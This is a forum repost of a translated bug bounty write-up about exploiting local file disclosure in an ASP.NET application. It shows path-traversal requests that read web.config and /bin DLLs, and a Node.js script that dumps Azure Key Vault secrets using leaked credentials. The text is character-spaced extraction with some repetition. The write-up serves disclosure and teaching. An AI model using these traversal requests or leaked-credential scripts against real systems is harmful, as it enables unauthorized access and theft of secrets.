搜索

[13645] 2019-01-12_通过读取ASP.NET应用泄露的secrets获得bug赏金17000美刀

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2019-01-12_通过读取ASP.NET应用泄露的secrets获得bug赏金17000美刀 通 过 读 取 A S P . N E T 应 用 泄 露 的 s e c r e t s 获 得 b u g 赏 金 1 7 0 0 0 美 刀 生 如 夏 花   F r e e B u f   2 0 1 9 - 0 1 - 1 2 A S P . N E T 应 用 程 序 中 比 较 常 见 的 漏 洞 有 本 地 文 件 泄 露 （ 应 用 程 序 中 比 较 常 见 的 漏 洞 有 本 地 文 件 泄 露 （ L D F ） 。 如 果 读 者 之 前 未 接 触 过 ） 。 如 果 读 者 之 前 未 接 触 过 A S P . N E T 开 发 ， 那 么 开 发 ， 那 么 L F D 对 于 你 来 说 可 能 很 困 惑 并 且 会 没 啥 思 路 。 因 此 在 下 面 的 文 章 中 ， 我 描 述 了 最 接 近 真 实 环 境 下 对 于 你 来 说 可 能 很 困 惑 并 且 会 没 啥 思 路 。 因 此 在 下 面 的 文 章 中 ， 我 描 述 了 最 接 近 真 实 环 境 下 L F D 攻 击 的 应 攻 击 的 应 用 程 序 的 利 用 过 程 。 用 程 序 的 利 用 过 程 。 确 定 漏 洞 点 确 定 漏 洞 点 在 最 近 的 挖 洞 过 程 中 ， 我 遇 到 了 以 下 这 个 u r l h t t p s : / / d o m a i n . c o m / u t i l i t y / d o w n l o a d . a s p x ? f = D J / l c 1 j V g H T Z F … 首 先 就 觉 得 可 以 试 试 任 意 文 件 下 载 ， 访 问 后 ， 在 加 载 页 面 时 ， 它 会 从 服 务 器 上 的 另 一 个 路 径 下 载 帮 助 文 档 。 但 是 它 加 密 了 ， 我 没 法 篡 改 f 的 值 ， 假 设 我 能 够 找 到 密 钥 来 解 密 参 数 （ 可 能 是 A E S 加 密 ） ， 估 计 能 尝 试 利 用 下 L D F 。 不 过 运 气 还 不 错 ， 在 网 站 的 旧 版 本 中 找 到 了 相 同 的 下 载 点 ， 如 下 ： h t t p s : / / d o m a i n . c o m / u t i l i t y / d o w n l o a d . a s p x ? f = f i l e 1 2 3 4 . d o c x 响 应 如 下 ： 我 立 马 就 把 参 数 改 成 d o w n l o a d . a s p x ， 竟 然 能 返 回 a p s x 文 件 内 容 。 经 过 测 试 ， 能 访 问 a s p x 文 件 内 容 ， 但 是 实 际 的 源 码 文 件 a s p x . c s 无 法 访 问 。 有 关 . a s p x 与 . a s p x . c s 的 区 别 可 以 参 考 h t t p s : / / s t a c k o v e r f l o w . c o m / q u e s t i o n s / 1 3 1 8 2 7 5 7 / w h a t - i s - t h e - d i f f e r e n c e - b e t w e e n - a s p x - a n d - a s p x - c s 这 个 问 题 需 要 解 决 ， 不 然 无 法 后 续 进 行 利 用 。 我 接 着 访 问 其 他 目 录 ， 看 看 有 没 有 发 现 。 绕 过 目 录 访 问 限 制 绕 过 目 录 访 问 限 制 使 用 常 规 的 . . / 来 遍 历 时 ， 发 现 总 是 返 回 4 0 0   b a d   r e q u e s t ， 估 计 有 过 滤 。 使 用 b u r p 尝 试 下 f u z z ， 看 看 能 不 能 绕 过 。 可 以 手 工 进 行 测 试 ， 但 为 了 节 省 时 间 就 使 用 以 下 请 求 进 行 f u z z 查 看 返 回 的 内 容 ， 发 现 使 用 字 符 + 返 回 了 正 确 的 内 容 。 这 里 我 很 疑 惑 ， 本 地 搭 建 环 境 测 试 的 使 用 我 使 用 + 进 行 f u z z 没 成 功 ， 大 致 猜 想 加 号 在 u r l 中 代 表 空 格 ， 也 许 与 W i n d o w 的 文 件 名 有 关 。 H T T P / 1 . 1   2 0 0   O K C o n n e c t i o n :   c l o s e C o n t e n t - L e n g t h :   2 7 3 6 3 Ï ó | u œ Z ^ t Ù ¢ y Ç ¯ ; ! Y , } { û C ƒ ³ / h > G E T   / u t i l i t y / d o w n l o a d . a s p x ? f = d o w n l o a d . a s p x H T T P / 1 . 1   2 0 0   O K C o n n e c t i o n :   c l o s e C o n t e n t - L e n g t h :   2 6 3 < % @   P a g e   L a n g u a g e = " C # "   A u t o E v e n t W i r e u p = " t r u e "   D e b u g = " t r u e "   % > G E T   / u t i l i t y / d o w n l o a d . a s p x ? f = . [ f u z z ] . / u t i l i t y / d o w n l o a d . a s p x
进 一 步 利 用 进 一 步 利 用 既 然 绕 过 了 限 制 ， 接 着 我 尝 试 读 取 了 下 a s h x 文 件 ， a s h x 文 件 是 一 种 带 H T M L 和 C # 的 混 合 文 件 ， 猜 测 应 该 能 读 取 。 读 取 成 功 到 这 里 已 经 能 得 到 一 些 敏 感 信 息 了 ， 接 着 想 更 深 一 步 利 用 ， 所 以 我 决 定 读 取 更 多 的 源 代 码 文 件 。 当 对 一 种 技 术 迷 惑 的 时 候 ， 最 好 是 去 读 它 的 官 方 文 档 ， 所 以 在 阅 读 A S P . N E T 应 用 程 序 文 档 时 发 现 编 译 类 是 保 留 / b i n / c l a s s N a m e . d l l 中 的 。 这 意 味 着 我 们 应 该 能 够 提 取 . a s h x   文 件 中 引 用 的 类 名 。 通 过 发 送 以 下 请 求 ， 我 能 够 下 载 到 源 文 件 的 D L L （ 存 储 D L L h t t p s : / / b l o g s . m s d n . m i c r o s o f t . c o m / t o m / 2 0 0 8 / 0 7 / 2 1 / a s p - n e t - t i p s - l o a d i n g - a - d l l - o u t - o f - t h e - b i n - d i r e c t o r y / ） 下 载 后 ， 使 用 d n S p y （ C # 反 编 译 工 具 ） 导 入 D L L 并 恢 复 应 用 程 序 的 源 代 码 ， 之 后 可 以 下 载 更 多 的 类 文 件 来 获 取 源 代 码 。 A z u r e 密 钥 泄 露 证 明 造 成 严 重 影 响 密 钥 泄 露 证 明 造 成 严 重 影 响 A S P . N E T 应 用 程 序 中 敏 感 的 文 件 有 w e b . c o n f i g ， 该 文 件 本 质 上 是 一 个 配 置 文 件 ， 其 中 包 含 从 单 个 页 面 到 整 个 W e b 服 务 器 的 各 种 变 量 。 文 件 里 存 在 大 量 敏 感 信 息 ， 例 如 S Q L 数 据 库 密 码 ， 比 如 上 面 我 们 看 到 的 已 加 密 参 数 的 加 密 密 钥 ， 以 及 应 用 程 序 使 用 的 内 部 接 口 。 下 面 是 一 个 示 例 w e b . c o n f i g 文 件 。 发 送 以 下 请 求 后 ， 我 们 获 取 到 了 w e b . c o n f i g 的 内 容 。 其 中 响 应 中 包 含 了 许 多 s e c r e t s ， 最 值 得 注 意 的 是 以 下 s e c r e t s 的 泄 露 。 利 用 这 些 密 钥 可 以 访 问 A z u r e   K e y   V a u l t 实 例 。 而 A z u r e   K e y   V a u l t 用 来 保 存 应 用 程 序 的 s e c r e t s ， 会 带 有 一 些 敏 感 信 息 。 现 在 的 问 题 是 如 何 正 确 发 送 请 求 来 访 问 A z u r e   K e y   V a u l t 实 例 ？ 在 与 朋 友 s h u b s 讨 论 之 后 ， 他 立 马 写 出 了 一 个 N o d e . j s 脚 本 ， 使 用 公 开 的 密 钥 成 功 访 问 了 A z u r e   K e y   V a u l t 实 例 … 哈 哈 响 应 如 下 ： 本 次 漏 洞 利 用 完 成 ， 最 终 获 取 的 s e c r e t s 足 以 让 我 控 制 系 统 来 证 明 危 害 程 度 ， 所 以 可 以 提 交 报 告 了 。 H T T P / 1 . 1   2 0 0   O K C o n n e c t i o n :   c l o s e C o n t e n t - L e n g t h :   2 3 9 8 < % @   W e b H a n d l e r   L a n g u a g e = " C # "   C l a s s = " r e d a c t e d . r e d a c t e d "   % > I m p o r t s   S y s t e m I m p o r t s   S y s t e m . D a t a I m p o r t s   S y s t e m . D a t a . S q l C l i e n t I m p o r t s   S y s t e m . I O I m p o r t s   S y s t e m . W e b I m p o r t s   S y s t e m . C o n f i g u r a t i o n . . . G E T   / u t i l i t y / d o w n l o a d . a s p x ? f = . + . / . + . / b i n / r e d a c t e d . d l l < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < ! - -     F o r   m o r e   i n f o r m a t i o n   o n   h o w   t o   c o n f i g u r e   y o u r   A S P . N E T   a p p l i c a t i o n ,   p l e a s e   v i s i t h t t p : / / g o . m i c r o s o f t . c o m / f w l i n k / ? L i n k I d = 3 0 1 8 8 0     - - > < c o n f i g u r a t i o n >     < a p p S e t t i n g s >         < a d d   k e y = " w e b p a g e s : V e r s i o n "   v a l u e = " 3 . 0 . 0 . 0 "   / >         < a d d   k e y = " w e b p a g e s : E n a b l e d "   v a l u e = " f a l s e "   / >         < a d d   k e y = " C l i e n t V a l i d a t i o n E n a b l e d "   v a l u e = " t r u e "   / >         < a d d   k e y = " U n o b t r u s i v e J a v a S c r i p t E n a b l e d "   v a l u e = " t r u e "   / >         < a d d   k e y = " P o d i o C l i e n t I d "   v a l u e = " "   / >         < a d d   k e y = " P o d i o C l i e n t S e c r e t "   v a l u e = " "   / >                 < a d d   k e y = " A p p I d "   v a l u e = " "   / >         < a d d   k e y = " S p a c e I d "   v a l u e = " "   / >     < / a p p S e t t i n g s >     < c o n n e c t i o n S t r i n g s >         < r e m o v e   n a m e = " u m b r a c o D b D S N "   / >         < a d d   n a m e = " P o d i o A s p n e t S a m p l e D b "   c o n n e c t i o n S t r i n g = " s e r v e r = W S A 0 7 ; d a t a b a s e = P o d i o A s p n e t S a m p l e D b ; u s e r   i d = s a ; p a s s w o r d = p a s s "   p r o v i d e r N a m e = " S y s t e m . D a t a . S q l C l i e n t "   / >     < / c o n n e c t i o n S t r i n g s >         < s y s t e m . w e b >         < c o m p i l a t i o n   d e b u g = " t r u e "   t a r g e t F r a m e w o r k = " 4 . 5 "   / >         < h t t p R u n t i m e   t a r g e t F r a m e w o r k = " 4 . 5 "   / >     < / s y s t e m . w e b > < / c o n f i g u r a t i o n > G E T   / u t i l i t y / d o w n l o a d . a s p x ? f = . + . / . + . / w e b . c o n f i g . . . < a d d   k e y = " k e y V a u l t D a t a P l a n e U r i "   v a l u e = " r e d a c t e d "   / > < a d d   k e y = " u n i q u e K e y V a u l t N a m e U r i "   v a l u e = " r e d a c t e d "   / > < a d d   k e y = " k e y V a u l t C l i e n t I d "   v a l u e = " r e d a c t e d "   / > < a d d   k e y = " k e y V a u l t C l i e n t S e c r e t I d e n t i f i e r "   v a l u e = " r e d a c t e d "   / > < a d d   k e y = " k e y V a u l t C l i e n t T e n a n t N a m e "   v a l u e = " r e d a c t e d "   / > < a d d   k e y = " k e y V a u l t A u t h e n t i c a t i o n C o n t e x t U r i "   v a l u e = " r e d a c t e d "   / > < a d d   k e y = " k e y V a u l t A p i V e r s i o n "   v a l u e = " 2 0 1 6 - 1 0 - 0 1 "   / > . . . v a r   K e y V a u l t   =   r e q u i r e ( ' a z u r e - k e y v a u l t ' ) ; v a r   A u t h e n t i c a t i o n C o n t e x t   =   r e q u i r e ( ' a d a l - n o d e ' ) . A u t h e n t i c a t i o n C o n t e x t ; v a r   c l i e n t I d   =   " c l i e n t I d " ; v a r   c l i e n t S e c r e t   =   " c l i e n t S e c r e t " ; v a r   v a u l t U r i   =   " v a u l t U r i " ; / /   A u t h e n t i c a t o r   -   r e t r i e v e s   t h e   a c c e s s   t o k e n v a r   a u t h e n t i c a t o r   =   f u n c t i o n   ( c h a l l e n g e ,   c a l l b a c k )   {     / /   C r e a t e   a   n e w   a u t h e n t i c a t i o n   c o n t e x t .     v a r   c o n t e x t   =   n e w   A u t h e n t i c a t i o n C o n t e x t ( c h a l l e n g e . a u t h o r i z a t i o n ) ;     / /   U s e   t h e   c o n t e x t   t o   a c q u i r e   a n   a u t h e n t i c a t i o n   t o k e n .     r e t u r n   c o n t e x t . a c q u i r e T o k e n W i t h C l i e n t C r e d e n t i a l s ( c h a l l e n g e . r e s o u r c e ,   c l i e n t I d ,   c l i e n t S e c r e t ,   f u n c t i o n   ( e r r ,   t o k e n R e s p o n s e )   {         i f   ( e r r )   t h r o w   e r r ;         / /   C a l c u l a t e   t h e   v a l u e   t o   b e   s e t   i n   t h e   r e q u e s t ' s   A u t h o r i z a t i o n   h e a d e r   a n d   r e s u m e   t h e   c a l l .         v a r   a u t h o r i z a t i o n V a l u e   =   t o k e n R e s p o n s e . t o k e n T y p e   +   '   '   +   t o k e n R e s p o n s e . a c c e s s T o k e n ;         c o n s o l e . l o g ( a u t h o r i z a t i o n V a l u e ) ;         r e t u r n   c a l l b a c k ( n u l l ,   a u t h o r i z a t i o n V a l u e ) ;     } ) ; } ; v a r   c r e d e n t i a l s   =   n e w   K e y V a u l t . K e y V a u l t C r e d e n t i a l s ( a u t h e n t i c a t o r ) ; v a r   c l i e n t   =   n e w   K e y V a u l t . K e y V a u l t C l i e n t ( c r e d e n t i a l s ) ; c l i e n t . g e t S e c r e t s ( v a u l t U r i ) . t h e n ( f u n c t i o n ( v a l u e )   {         c o n s o l e . l o g ( v a l u e ) ; } ) ; {   i d :           ' h t t p s : / / r e d a c t e d . v a u l t . a z u r e . n e t / s e c r e t s / f t p _ c r e d e n t i a l s ' ,         a t t r i b u t e s :           {   e n a b l e d :   t r u e ,               c r e a t e d :   2 0 1 8 - 0 1 - 2 3 T 2 2 : 1 4 : 1 8 . 0 0 0 Z ,               u p d a t e d :   2 0 1 8 - 0 1 - 2 3 T 2 2 : 1 4 : 1 8 . 0 0 0 Z ,               r e c o v e r y L e v e l :   ' P u r g e a b l e '   } ,         c o n t e n t T y p e :   ' s e c r e t '   }   ] . . .   m o r e   s e c r e t s   . . .
总 结 总 结 A S P . N E T 无 法 访 问 源 文 件 ？ 可 以 尝 试 访 问 下 / b i n / c l a s s N a m e . d l l 。 想 获 取 到 更 多 敏 感 信 息 ？ 记 得 读 取 w e b . c o n f i g 文 件 。 开 发 人 员 需 要 将 A S P . N E T 应 用 程 序 安 全 性 提 升 才 能 防 止 黑 客 攻 击 ， 如 果 能 破 解 每 个 请 求 中 发 送 的 t o k e n ， 应 该 也 能 发 现 更 多 的 安 全 问 题 （ X S S 、 身 份 验 证 绕 过 、 s h e l l 上 传 、 L F D 和 L F I 等 ） 。 时 间 线 时 间 线 提 交 — — 2 0 1 8 年 9 月 2 5 日 审 核 — — 2 0 1 8 年 9 月 2 7 日 发 放 奖 励 1 7 0 0 0 美 元 — — 2 0 1 8 年 9 月 2 9 日 * 参 考 来 源 ： 参 考 来 源 ： S a m c u r r y ， 由 生 如 夏 花 编 译 ， 转 载 请 注 明 来 自 ， 由 生 如 夏 花 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理